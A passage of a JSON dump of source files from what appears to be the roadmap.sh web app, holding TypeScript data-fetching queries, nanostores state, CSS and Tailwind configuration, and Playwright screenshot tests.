{\n    nodes: any[];\n    edges: any[];\n  };\n\n  seo: {\n    title: string;\n    description: string;\n    keywords: string[];\n  };\n  openGraph?: {\n    image?: string;\n  };\n  partner?: {\n    description: string;\n    linkText: string;\n    link: string;\n  };\n  type: AllowedOfficialRoadmapType;\n  dimensions?: {\n    height: number;\n    width: number;\n  };\n\n  questions?: OfficialRoadmapQuestion[];\n  relatedRoadmaps?: string[];\n  courses?: string[];\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport type OfficialRoadmapWithCourses = Omit<\n  OfficialRoadmapDocument,\n  'courses'\n> & {\n  courses: OfficialRoadmapCourse[];\n};\n\nexport function officialRoadmapOptions(slug: string) {\n  return queryOptions({\n    queryKey: ['official-roadmap', slug],\n    queryFn: () => {\n      return httpGet<OfficialRoadmapWithCourses>(\n        `/v1-official-roadmap/${slug}`,\n      );\n    },\n  });\n}\n\nexport async function officialRoadmapDetails(roadmapSlug: string) {\n  try {\n    const roadmap = await httpGet<OfficialRoadmapWithCourses>(\n      `/v1-official-roadmap/${roadmapSlug}`,\n    );\n\n    return roadmap;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return null;\n    }\n\n    throw error;\n  }\n}\n\nexport async function listOfficialRoadmaps() {\n  try {\n    const roadmaps = await httpGet<OfficialRoadmapDocument[]>(\n      `/v1-list-official-roadmaps`,\n    );\n\n    return roadmaps;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}\n\nexport async function listOfficialBeginnerRoadmaps() {\n  try {\n    const roadmaps = await httpGet<OfficialRoadmapDocument[]>(\n      `/v1-list-official-beginner-roadmaps`,\n    );\n\n    return roadmaps;\n  } catch (error) {\n    if (FetchError.isFetchError(error) && error.status === 404) {\n      return [];\n    }\n\n    throw error;\n  }\n}\n\nexport function isNewRoadmap(createdAt: Date) {\n  return (\n    createdAt &&\n    DateTime.now().diff(DateTime.fromJSDate(new Date(createdAt)), 'days').days <\n      45\n  );\n}\n"
  },
  {
    "path": "src/queries/project.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\n\ntype ProjectStatusResponse = {\n  id?: string;\n\n  startedAt?: Date;\n  submittedAt?: Date;\n  repositoryUrl?: string;\n\n  upvotes: number;\n  downvotes: number;\n};\n\nexport function projectStatusOptions(projectId: string) {\n  return queryOptions({\n    queryKey: ['project-status', projectId],\n    queryFn: () => {\n      return httpGet<ProjectStatusResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-project-status/${projectId}`,\n        {},\n      );\n    },\n  });\n}\n"
  },
  {
    "path": "src/queries/resource-progress.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\n\nexport type GetUserResourceProgressResponse = {\n  totalTopicCount: number;\n  done: string[];\n  learning: string[];\n  skipped: string[];\n  isFavorite: boolean;\n  personalized?: {\n    topicIds: string[];\n    information: string;\n  };\n};\n\nexport function userResourceProgressOptions(\n  resourceType: string,\n  resourceId: string,\n) {\n  return queryOptions({\n    queryKey: ['resource-progress', resourceId, resourceType],\n    queryFn: () => {\n      return httpGet<GetUserResourceProgressResponse>(\n        `/v1-get-user-resource-progress`,\n        {\n          resourceId,\n          resourceType,\n        },\n      );\n    },\n    enabled: !!isLoggedIn(),\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/queries/roadmap-questions.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\n\nexport interface RoadmapQuestionsResponse {\n  questions: string[];\n}\n\nexport function roadmapQuestionsOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['roadmap-questions', roadmapId],\n    queryFn: () => {\n      return httpGet<RoadmapQuestionsResponse>(`/v1-official-roadmap-questions/${roadmapId}`);\n    },\n    refetchOnMount: false,\n  });\n} "
  },
  {
    "path": "src/queries/roadmap-tree.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\n\nexport interface RoadmapTreeDocument {\n  _id?: string;\n  roadmapId: string;\n  mapping: {\n    _id?: string;\n    nodeId: string;\n    text: string;\n    subjects: string[];\n    guides?: string[];\n  }[];\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport function roadmapTreeMappingOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['roadmap-tree-mapping', { roadmapId }],\n    queryFn: () => {\n      return httpGet<RoadmapTreeDocument['mapping']>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-roadmap-tree-mapping/${roadmapId}`,\n      );\n    },\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/queries/roadmap.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { type Node, type Edge, renderFlowJSON } from '@roadmapsh/editor';\nimport type { OfficialRoadmapDocument } from './official-roadmap';\n\nexport type RoadmapJSON = {\n  _id: string;\n  title: OfficialRoadmapDocument['title'];\n  description: string;\n  slug: string;\n  nodes: Node[];\n  edges: Edge[];\n  createdAt: string;\n  updatedAt: string;\n};\n\nexport function roadmapJSONOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['roadmap-json', roadmapId],\n    queryFn: async () => {\n      const baseUrl = import.meta.env.PUBLIC_APP_URL;\n      const roadmapJSON = await httpGet<RoadmapJSON>(\n        `${baseUrl}/${roadmapId}.json`,\n      );\n\n      const svg = renderFlowJSON(roadmapJSON);\n      if (!svg) {\n        return {\n          json: roadmapJSON,\n          svg: null,\n        };\n      }\n\n      return {\n        json: roadmapJSON,\n        svg,\n      };\n    },\n    refetchOnMount: false,\n  });\n}\n\nexport const allowedRoadmapRenderer = [\n  'balsamiq',\n  'editor',\n  'infinite-canvas',\n] as const;\nexport type AllowedRoadmapRenderer = (typeof allowedRoadmapRenderer)[number];\n\nexport type PagesJSON = {\n  id: string;\n  url: string;\n  title: string;\n  description: string;\n  group: string;\n  authorId?: string;\n  renderer?: AllowedRoadmapRenderer;\n}[];\n\nexport function listBuiltInRoadmaps() {\n  return queryOptions({\n    queryKey: ['built-in-roadmaps'],\n    queryFn: () => {\n      return httpGet<PagesJSON>(`${import.meta.env.PUBLIC_APP_URL}/pages.json`);\n    },\n    select: (data) => {\n      return data\n        .filter((page) => page?.group?.toLowerCase() === 'roadmaps')\n        .map((page) => ({\n          id: page.id,\n          title: page.title,\n          url: page.url,\n          renderer: page.renderer,\n        }));\n    },\n    refetchOnMount: false,\n  });\n}\n\nexport function roadmapDetailsOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['roadmap-details', roadmapId],\n    queryFn: async () => {\n      const baseUrl = import.meta.env.PUBLIC_APP_URL;\n      const pagesJSON = await httpGet<PagesJSON>(`${baseUrl}/pages.json`);\n\n      const roadmapDetails = pagesJSON.find(\n        (page) =>\n          page?.group?.toLowerCase() === 'roadmaps' && page.id === roadmapId,\n      );\n\n      if (!roadmapDetails) {\n        throw new Error('Roadmap details not found');\n      }\n\n      return roadmapDetails;\n    },\n    refetchOnMount: false,\n  });\n}\n\nexport const allowedLinkTypes = [\n  'video',\n  'article',\n  'opensource',\n  'course',\n  'website',\n  'podcast',\n] as const;\nexport type AllowedLinkTypes = (typeof allowedLinkTypes)[number];\n\nexport function roadmapContentOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['roadmap-content', { roadmapId }],\n    queryFn: async () => {\n      const baseUrl = import.meta.env.PUBLIC_APP_URL;\n      return httpGet<\n        Record<\n          string,\n          {\n            title: string;\n            description: string;\n            links: {\n              title: string;\n              url: string;\n              type: AllowedLinkTypes;\n            }[];\n          }\n        >\n      >(`${baseUrl}/roadmap-content/${roadmapId}.json`);\n    },\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/queries/user-ai-session.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\n\ntype AIQuestionSuggestionsQuery = {\n  term: string;\n  format: string;\n  from?: 'content' | 'quiz';\n};\n\nexport type AIQuestionSuggestionsResponse = {\n  questions: {\n    question: string;\n    possibleAnswers: string[];\n  }[];\n};\n\nexport function aiQuestionSuggestionsOptions(\n  query: AIQuestionSuggestionsQuery,\n  defaultQuestions?: AIQuestionSuggestionsResponse['questions'],\n) {\n  return queryOptions({\n    queryKey: ['ai-question-suggestions', query],\n    queryFn: () => {\n      if (defaultQuestions) {\n        return {\n          questions: defaultQuestions,\n        };\n      }\n\n      return httpGet<AIQuestionSuggestionsResponse>(\n        `/v1-ai-question-suggestions`,\n        query,\n      );\n    },\n    enabled: !!query.term && !!query.format && !!query.from,\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/queries/user-persona.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\n\nexport interface UserPersonaDocument {\n  _id: string;\n  userId: string;\n  roadmaps: {\n    roadmapId: string;\n    expertise: string;\n    goal: string;\n    commit: string;\n    about?: string;\n  }[];\n\n  chatPreferences: {\n    expertise: string;\n    goal: string;\n    about: string;\n    specialInstructions?: string;\n  };\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype UserPersonaResponse = UserPersonaDocument['roadmaps'][number] | null;\n\nexport function userRoadmapPersonaOptions(roadmapId: string) {\n  return queryOptions({\n    queryKey: ['user-persona', roadmapId],\n    queryFn: async () => {\n      return httpGet<UserPersonaResponse>(\n        `/v1-user-roadmap-persona/${roadmapId}`,\n      );\n    },\n    enabled: !!roadmapId && isLoggedIn(),\n    refetchOnMount: false,\n  });\n}\n\nexport function userPersonaOptions() {\n  return queryOptions({\n    queryKey: ['user-persona'],\n    queryFn: async () => {\n      return httpGet<UserPersonaDocument>('/v1-user-persona');\n    },\n    enabled: !!isLoggedIn(),\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/queries/user-resume.ts",
    "content": "import { queryOptions } from '@tanstack/react-query';\nimport { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\n\nexport interface UserResumeDocument {\n  _id: string;\n\n  userId: string;\n  fileName: string;\n  fileType: string;\n  fileSize: number;\n  resumeUrl: string;\n  content: string;\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport function userResumeOptions() {\n  return queryOptions({\n    queryKey: ['user-resume'],\n    queryFn: async () => {\n      return httpGet<UserResumeDocument>('/v1-user-resume');\n    },\n    enabled: !!isLoggedIn(),\n    refetchOnMount: false,\n  });\n}\n"
  },
  {
    "path": "src/stores/page.ts",
    "content": "import { atom } from 'nanostores';\n\nexport const pageProgressMessage = atom<string | undefined>(undefined);\nexport const sponsorHidden = atom(false);\n\nexport const roadmapsDropdownOpen = atom(false);\nexport const navigationDropdownOpen = atom(false);\n\nexport const isOnboardingStripHidden = atom(false);\n\nexport const aiDropdownOpen = atom(false);"
  },
  {
    "path": "src/stores/query-client.ts",
    "content": "import { QueryCache, QueryClient } from '@tanstack/react-query';\n\nexport const queryClient = new QueryClient({\n  queryCache: new QueryCache({}),\n  defaultOptions: {\n    queries: {\n      retry: false,\n      refetchOnMount: false,\n      enabled: !import.meta.env.SSR,\n    },\n  },\n});\n"
  },
  {
    "path": "src/stores/roadmap.ts",
    "content": "import { atom, computed } from 'nanostores';\nimport type { GetRoadmapResponse } from '../components/CustomRoadmap/CustomRoadmap';\n\nexport const currentRoadmap = atom<GetRoadmapResponse | undefined>(undefined);\nexport const isCurrentRoadmapPersonal = computed(\n  currentRoadmap,\n  (roadmap) => !roadmap?.teamId,\n);\nexport const canManageCurrentRoadmap = computed(\n  currentRoadmap,\n  (roadmap) => roadmap?.canManage,\n);\n\nexport const roadmapProgress = atom<\n  | {\n      done: string[];\n      learning: string[];\n      skipped: string[];\n      personalized: { topicIds: string[]; information: string };\n    }\n  | undefined\n>();\nexport const totalRoadmapNodes = atom<number | undefined>();\n"
  },
  {
    "path": "src/stores/streak.ts",
    "content": "import { atom } from 'nanostores';\n\nexport type StreakResponse = {\n  count: number;\n  longestCount: number;\n  previousCount?: number | null;\n  firstVisitAt: Date;\n  lastVisitAt: Date;\n  refByUserCount: number;\n};\n\nexport const $accountStreak = atom<StreakResponse | undefined>();\n"
  },
  {
    "path": "src/stores/subscription.ts",
    "content": "import { atom } from 'nanostores';\n\nexport const isUpgradeModalOpen = atom(false);\n\nexport function showUpgradeModal() {\n  isUpgradeModalOpen.set(true);\n}\n\nexport function hideUpgradeModal() {\n  isUpgradeModalOpen.set(false);\n}\n"
  },
  {
    "path": "src/stores/team.ts",
    "content": "import { atom, computed } from 'nanostores';\nimport type { UserTeamItem } from '../components/TeamDropdown/TeamDropdown';\n\nexport const $teamList = atom<UserTeamItem[]>([]);\nexport const $currentTeam = atom<UserTeamItem | undefined>();\n\nexport const $currentTeamRole = computed($currentTeam, (team) => team?.role);\n\nexport const $isCurrentTeamAdmin = computed($currentTeamRole, (role) =>\n  ['admin'].includes(role!)\n);\n\nexport const $canManageCurrentTeam = computed($currentTeamRole, (role) =>\n  ['admin', 'manager'].includes(role!)\n);\n"
  },
  {
    "path": "src/stores/toast.ts",
    "content": "import { atom } from 'nanostores';\n\nexport type ToastType = 'success' | 'error' | 'info' | 'warning' | 'loading';\nexport type ToastMessage = {\n  type: ToastType;\n  message: string;\n};\n\nexport const $toastMessage = atom<ToastMessage | undefined>(undefined);\n"
  },
  {
    "path": "src/styles/global.css",
    "content": "@import 'tailwindcss';\n@import '@roadmapsh/editor/style.css';\n\n@config '../../tailwind.config.cjs';\n@plugin 'tailwind-scrollbar';\n\n@font-face {\n  font-family: 'balsamiq';\n  src: url('/fonts/balsamiq.woff2') format('woff2');\n  font-weight: 400;\n  font-style: normal;\n  font-display: swap;\n}\n\n@theme {\n  --font-balsamiq: 'balsamiq', sans-serif;\n}\n\n/*\n  The default border color has changed to `currentcolor` in Tailwind CSS v4,\n  so we've added these compatibility styles to make sure everything still\n  looks the same as it did with Tailwind CSS v3.\n\n  If we ever want to remove these styles, we need to add an explicit border\n  color utility to any element that depends on these defaults.\n*/\n@layer base {\n  *,\n  ::after,\n  ::before,\n  ::backdrop,\n  ::file-selector-button {\n    border-color: var(--color-gray-200, currentcolor);\n  }\n\n  button {\n    @apply cursor-pointer;\n  }\n}\n\n@utility container {\n  @apply mx-auto max-w-[830px]! px-4;\n}\n\n@utility container-lg {\n  @apply mx-auto max-w-[968px]! px-4;\n}\n\n@utility badge {\n  @apply rounded-xs bg-gray-400 px-1.5 py-0.5 text-xs font-medium text-white uppercase;\n}\n\n@utility no-scrollbar {\n  /* Chrome, Safari and Opera */\n  &::-webkit-scrollbar {\n    display: none;\n  }\n  -ms-overflow-style: none; /* IE and Edge */\n  scrollbar-width: none; /* Firefox */\n}\n\n@utility collapse-if-empty {\n  &:empty {\n    display: none;\n  }\n}\n\nsvg {\n  user-select: none;\n}\n\nblockquote p:before {\n  display: none;\n}\n\nblockquote p {\n  font-style: normal;\n}\n\n.prose ul li > code,\n.prose ol li > code,\np code,\na > code,\nstrong > code,\nem > code,\nh1 > code,\nh2 > code,\nh3 > code {\n  background: #ebebeb !important;\n  color: currentColor !important;\n  font-size: 14px;\n  font-weight: normal !important;\n}\n\n.prose ul li > code:before,\np > code:before,\n.prose ul li > code:after,\n.prose ol li > code:before,\np > code:before,\n.prose ol li > code:after,\np > code:after,\na > code:after,\na > code:before {\n  content: '' !important;\n}\n\n.sponsor-footer {\n  text-align: center;\n  font-weight: 600;\n  font-size: 9px;\n  letter-spacing: 0.5px;\n  text-transform: uppercase;\n  padding: 3px 10px;\n  background: repeating-linear-gradient(\n      -45deg,\n      transparent,\n      transparent 5px,\n      hsla(0, 0%, 0%, 0.025) 5px,\n      hsla(0, 0%, 0%, 0.025) 10px\n    )\n    hsla(203, 11%, 95%, 0.4);\n}\n.striped-bg {\n  background-image: repeating-linear-gradient(\n    -45deg,\n    transparent,\n    transparent 5px,\n    hsla(0, 0%, 0%, 0.025) 5px,\n    hsla(0, 0%, 0%, 0.025) 10px\n  );\n  background-size: 200% 200%;\n}\n\n.striped-loader {\n  background-image: repeating-linear-gradient(\n    -45deg,\n    transparent,\n    transparent 5px,\n    hsla(0, 0%, 0%, 0.025) 5px,\n    hsla(0, 0%, 0%, 0.025) 10px\n  );\n  background-size: 200% 200%;\n  animation: barberpole 15s linear infinite;\n}\n\n.striped-loader-darker {\n  background-image: repeating-linear-gradient(\n    -45deg,\n    transparent,\n    transparent 5px,\n    hsla(0, 0%, 0%, 0.2) 5px,\n    hsla(0, 0%, 0%, 0.2) 10px\n  );\n  background-size: 200% 200%;\n  animation: barberpole 15s linear infinite;\n}\n\n.striped-loader-yellow {\n  background-image: repeating-linear-gradient(\n    -45deg,\n    transparent,\n    transparent 5px,\n    hsla(55, 100%, 50%, 0.7) 5px,\n    hsla(55, 100%, 50%, 0.7) 10px\n  );\n  background-size: 200% 200%;\n  animation: barberpole 15s linear infinite;\n}\n\n.striped-loader-slate {\n  background-image: repeating-linear-gradient(\n    -45deg,\n    transparent,\n    transparent 5px,\n    hsla(0, 0%, 0%, 0.1) 5px,\n    hsla(0, 0%, 0%, 0.1) 10px\n  );\n  background-size: 200% 200%;\n  animation: barberpole 30s linear infinite;\n}\n\n.striped-loader-slate-fast {\n  animation: barberpole 10s linear infinite;\n}\n\n@keyframes barberpole {\n  100% {\n    background-position: 100% 100%;\n  }\n}\n\n/* Hide scrollbars */\n.scrollbar-none {\n  scrollbar-width: none;\n  -ms-overflow-style: none;\n}\n\n.scrollbar-none::-webkit-scrollbar {\n  display: none;\n}\n\n.prose-xl\n  :where(table):not(:where([class~='not-prose'], [class~='not-prose'] *)) {\n  font-size: 0.875em !important;\n}\n"
  },
  {
    "path": "tailwind.config.cjs",
    "content": "/** @type {import('tailwindcss').Config} */\nmodule.exports = {\n  content: [\n    './src/**/*.{astro,html,js,jsx,md,mdx,svelte,ts,tsx,vue,svg}',\n    './editor/**/*.{astro,html,js,jsx,md,mdx,svelte,ts,tsx,vue,svg}',\n  ],\n  future: {\n    hoverOnlyWhenSupported: true,\n  },\n  safelist: ['overflow-hidden'],\n  theme: {\n    extend: {\n      typography: {\n        quoteless: {\n          css: {\n            'blockquote p:first-of-type::before': { content: 'none' },\n            'blockquote p:first-of-type::after': { content: 'none' },\n          },\n        },\n      },\n      keyframes: {\n        'fade-slide-up': {\n          '0%': {\n            opacity: '0',\n            transform: 'translateX(var(--tw-translate-x, 0)) translateY(20px)',\n          },\n          '100%': {\n            opacity: '1',\n            transform: 'translateX(var(--tw-translate-x, 0)) translateY(0)',\n          },\n        },\n        'fade-in': {\n          '0%': {\n            opacity: '0',\n          },\n          '100%': {\n            opacity: '1',\n          },\n        },\n        spotlight: {\n          '0%': {\n            opacity: 0,\n            transform: 'translate(-72%, -62%) scale(0.5)',\n          },\n          '100%': {\n            opacity: 1,\n            transform: 'translate(-50%,-40%) scale(1)',\n          },\n        },\n        wiggle: {\n          '0%': { transform: 'rotate(-4deg)' },\n          '20%': { transform: 'rotate(4deg)' },\n          '40%': { transform: 'rotate(-3deg)' },\n          '60%': { transform: 'rotate(3deg)' },\n          '80%': { transform: 'rotate(-2deg)' },\n          '100%': { transform: 'rotate(0deg)' },\n        },\n      },\n      animation: {\n        'fade-slide-up':\n          'fade-slide-up 0.2s cubic-bezier(0.4, 0, 0.2, 1) forwards',\n        'fade-in': 'fade-in 0.2s cubic-bezier(0.4, 0, 0.2, 1) forwards',\n        spotlight: 'spotlight 2s ease 0.25s 1 forwards',\n        wiggle: 'wiggle 0.5s ease-in-out forwards',\n      },\n    },\n    container: {\n      center: true,\n    },\n  },\n  plugins: [require('@tailwindcss/typography')],\n};\n"
  },
  {
    "path": "tests/guides.spec.ts",
    "content": "import { expect, test } from '@playwright/test';\n\ntest(`guides`, async ({ page }) => {\n  await page.goto('/guides');\n\n  await expect(page).toHaveScreenshot({ fullPage: true });\n});\n"
  },
  {
    "path": "tests/index.spec.ts",
    "content": "import { test, expect } from '@playwright/test';\n\ntest('homepage test', async ({ page }) => {\n  await page.goto('/');\n\n  await expect(page).toHaveScreenshot({ fullPage: true });\n});\n"
  },
  {
    "path": "tests/roadmap.spec.ts",
    "content": "import path from 'node:path';\nimport fs from 'node:fs';\nimport { test, expect } from '@playwright/test';\n\nconst roadmapIds = fs.readdirSync(\n  path.join(process.cwd(), 'src/data/roadmaps')\n);\n\ntest(`roadmaps`, async ({ page }) => {\n  await page.goto('/roadmaps');\n\n  await expect(page).toHaveScreenshot({ fullPage: true });\n});\n\nfor (const roadmapId of roadmapIds) {\n  test(`roadmap ${roadmapId}`, async ({ page }) => {\n    await page.goto(`/${roadmapId}`);\n\n    await expect(page).toHaveScreenshot({ fullPage: true });\n  });\n}\n"
  },
  {
    "path": "tests/videos.spec.ts",
    "content": "import { expect, test } from '@playwright/test';\n\ntest(`videos`, async ({ page }) => {\n  await page.goto('/videos');\n\n  await expect(page).toHaveScreenshot({ fullPage: true });\n});\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"extends\": \"astro/tsconfigs/strict\",\n  \"compilerOptions\": {\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"node\",\n    \"jsx\": \"react-jsx\",\n    \"jsxImportSource\": \"react\"\n  },\n  \"exclude\": [\"node_modules\", \"dist\"]\n}\n"
  }
]